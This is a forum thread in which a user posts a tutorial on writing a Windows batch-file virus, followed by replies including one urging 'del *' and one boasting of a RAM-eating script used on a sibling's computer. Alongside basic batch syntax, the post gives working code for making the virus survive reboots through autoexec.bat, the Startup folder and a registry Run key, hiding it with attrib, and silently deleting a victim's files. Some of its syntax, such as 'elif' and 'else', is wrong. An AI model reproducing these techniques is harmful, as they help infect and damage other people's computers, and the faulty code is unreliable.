How to make Batch Virus?

Write your "How To" regarding anything you are comfortable with and you feel it will help the forum members.

NOTE :: All threads started here will appear only after the approval from Administrator
Post Reply
webexplode
Posts: 119
Joined: Fri Apr 28, 2006 8:03 pm

How to make Batch Virus?

Post by webexplode »

Please don't copy this ......even if you want to do you can but please don't modify it without my prior permission..................

Ok in this I will describe some basic dos commands and how to use them. Firstly open a text editor (I think notepad is the best text editor to use and it comes free with windows, **** start run and type in notepad) Ok now this tool is were you will be making all your batch files from now on. If your are use to using dos then this should be easy for you as most of the commands are simply dos commands. Now type this in your text editor:
Code Sample
@echo off
echo Hello I’m your first batch file


Now save the file as “Untitled.bat” (you must save all your batch files as .bat for them to work).

Open the file you have just created and you should see a dos prompt box put up that says, Hello I’m your first batch file, now I’m going to explain line by line how this code works. The first line (@echo off) is used to turn echo off which basically means it doesn’t display everything else that is going on but just shows things you have chosen to display on screen. You may be wondering why it’s @echo off and not just echo off well the ‘@’ turns echo off just for the line you have put it on so it stops the dos prompt box from displaying ‘echo off’ you can test this code for your self without the @echo off to see what I mean. The second line uses the ‘echo’ command to display ‘Hello I’m your first batch file to the screen’ when ever you want to display text you need to use the echo command, it will not work if you don’t! Well done you (hopefully) have just made and understood your first batch program, (that wasn’t so hard was it?)


Laying out your batch files

If your code doesn’t work but it’s laid out neatly you will be able to quickly find the problem and fix it. A good way to lay out you code is to use labels and the ‘goto’ command here is an example of how to use labels/goto command

Code Sample
@echo off

:start
echo hello
goto next

:next
echo this text is in the ‘next’ secton
goto end

:end
echo and this code is in the ‘end’ section


This is a simple batch file using labels and goto commands. The labels start off with colon (:) and the goto commands are simply
‘goto (the name of your label)’. Note: you do not need to use a colon in goto commands. You don’t have to put your labelled sections in order, the code would work exactly the same if the ‘end’ section was in-between the ‘start’ and ‘next’ section. This is because the goto commands tell the code exactly were it should go next. It would be useful if you experiment with this and see what happens when you switch them round.


Loops

But this isn’t all you can do with the goto command. One of the main uses of labels and using the goto command are loops. Loops are pices of code that keep repeating them self in a loop. E.g.

Code Sample
@echo off
:loop
echo I’m a loop
goto loop


The result of that simple code is show below…



You can place anything in a loop and it will keep going forever (or until the computer crashes).


The If, elif and else commands

So now you know how to make a basic loop, but what if you wanted your loop to keep going until something happens and then do something else? Well you could place a if command in the loop, this will make the loop keep going but if something happens then it will go somewhere else in your code. So lets add to are loop we made before.

Code Sample
@echo off
:loop
if exist c:\AutoExec.bat goto autoexec
else
echo You don’t have autoexe
goto loop

:autoexec
echo you have autoexec
goto loop

I compiled it (made it into a batch file) and opened it and this is what happened.


If you want to use else and if combined then you can use the elif command. Here is an example:

Code Sample
@echo off
:loop
if exist c:\AutoExec.bat goto autoexec
elif exist c:\windows goto windows
else
echo You don’t have autoexec.bat and you don’t have a windows folder
goto loop

:autoexec
echo you have autoexec
goto loop

:autoexec
echo you have a windows folder but you don’t have autoexec.bat
goto loop



autoexec and startup

To make a successful virus it’s a good idea to make the virus startup when your victim turns on there computer. This will keep there computer infected and make it harder for them to remove. There are a number of ways you can do this. Firstly you could add your virus code to the end of autoexec.bat. In windows autoexec starts up before windows loads. There are some advantages and some disadvantages to this. The main advantage is it’s one of the first files there computer will load and the main disadvantage is it loads before windows meaning any window commands like opening up a windows file or anything like that wont work. To add your virus to the end of autoexec simply type this somewhere in your batch file: Code Sample
echo copy %0 >> c:\autoexec.bat
%0 will automatically replace itself with your viruses root/name which means it doesn’t mater were your victim downloads/moves your virus will still work. If you want to copy a different batch file to autoexec then just use this code: Code Sample
echo copy C:\filename\batchfile.bat >> c:\autoexec.bat
just replace “C:\filename\batchfile.bat” with the root to a batch file. If you don’t want to copy your whole batch virus to autoexec and just want to copy a few commands then you can use this code:
Code Sample
echo rem this is were you type what you want to copy >> c:\autoexec.bat
just replace “rem this is were you type what you want to copy” with any batch commands you want to put on the end of autoexec.

So, now you know how to add your virus to autoexec I will show you another way. Using the windows startup folder. This method also has some disadvantages and advantages. The main advantage is you can use all batch commands in it and open windows programs, the main disadvantage is it is easy for your victim to remove your virus from the startup folder as it is in there start menu. To add your code to this folder simply add this to your batch file: Code Sample
copy %0 c:\windows\startm~1\Programs\StartUp\whateveryouwant.bat
You can change “whateveryouwant.bat” to whatever you want your file to be called and you can change c:\windows\startm~1\program\startup to anywhere else you want to copy your virus. You can also make your virus a bit more hidden by adding this Code Sample
Attrib +r +h C:\windows\startm~1\program\startup\whateveryouwant.bat
after you have copied your virus to the startup folder. This will make your virus hidden and read-only.

There is one more way that I will show you, this (in my opinion) is the best out of the three (it’s also the hardest). This method wills startup your virus when windows loads and it will do it far sneakier/effective than the other two ways I have shown you. We are going to write a key to your victims’ computers registry, which will startup your program when windows loads. To do this we are going to ‘drop’ and open a reg file in the batch file. Here is the code you will need to add to your batch file:

Code Sample
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >> c:\regstart.reg
echo "systemStart"="c:\ filename\batchfile.bat" >> c:\regstart.reg
start c:\regstart.reg


This code writes two lines to a reg file which it then open and therefore edits the registry. If you are not familiar with the registry then don’t worry about this method.


Deleting files in batch

Ok, this is the first destructive command we have come across so far (you can see how this will come in handy). Simply type del and then the name/path to what you want to delete E.g.

Code Sample
@echo off
rem deleting ms paint
del C:\Progra~1\Accessories\MSPAINT.EXE


In this piece of code I have once again used the @echo off command (so your victim cannot see that your deleting things from hid HD). Next I have used the rem command, this is used to add a comments (remarks) these will not display on the screen (if you used the echo off command like above) and have no effect on the code. I recommend using remarks so that when you look back at your code you know what you were trying to do and it will be a lot easier to edit. The last line uses the delete command and then the path to ms paint (note: you cannot have any spaces in any paths you use. If you come across a path with spaces (like c:\program files) then change it to a six letter word with no spaces (c:\Progra) then add ~1 to the end of the 6 letter word (c:\progra~1)).


Conclusion

This is the end of part1. I hope you have learnt something, and use this knowledge wisely. Part2 will start showing you some more advanced batch skills; if you need any help with something in this tutorial then you can contact me at
silent_hacker87@yahoo.com

--------------------------

part2 coming soon...


‡‡βяă†_Ɲoνaῄϊΐ‡‡-αη_EV’Er
SHAdmin
Posts: 2089
Joined: Sat Dec 18, 2004 11:28 am
Contact:

Post by SHAdmin »

A bonus of 35 points have been credited for sharing that "How To" with the community.
m3t4l
Posts: 129
Joined: Tue Apr 03, 2007 11:28 am

Post by m3t4l »

u could also use del *
to make it really nice
Image
m3t4l.org
metal
hacking a computer near u!!!!!
vijethk
Posts: 49
Joined: Thu Jun 21, 2007 1:01 pm

Sorry

Post by vijethk »

I am sorry to say. I really did not understand any thing. I wan to learn on these can u help me.
caiba
Posts: 128
Joined: Sun Jul 03, 2005 8:49 am

Post by caiba »

You are the extremely good idea, supports.
Tails5
Posts: 1302
Joined: Wed Mar 15, 2006 8:09 am
Contact:

Post by Tails5 »

There's only one problem with that.... AUTOEXEC.BAT isn't processed in Windows NT systems (NT1-NT4, 2000, XP, Vista)
Webmaster Yoda: You must confront the cPanel. Then, and only then, a webmaster will you be.
Julius Caesar: Veni, vidi, posti
Gebbo
Posts: 554
Joined: Tue May 16, 2006 3:22 pm

bat virus

Post by Gebbo »

i like this i made one before that eats all ram XD didnt send it anyone of course just my lil bros comp ;p
.............................:: Spirit of Fire ::..................................

Image
Post Reply